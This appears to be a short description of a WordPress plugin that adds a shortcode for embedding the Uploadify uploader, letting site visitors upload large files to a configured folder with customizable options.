[+] Description

Adds a shortcode to embed the necessary elements to use
Uploadify in a page or post which will give your website
visitors the ability to upload large files. By default the
files will be uploaded to the folder set in your preferences.
The shortcode supports most of the Uploadify options, so it
can be easily customized to suit your needs.
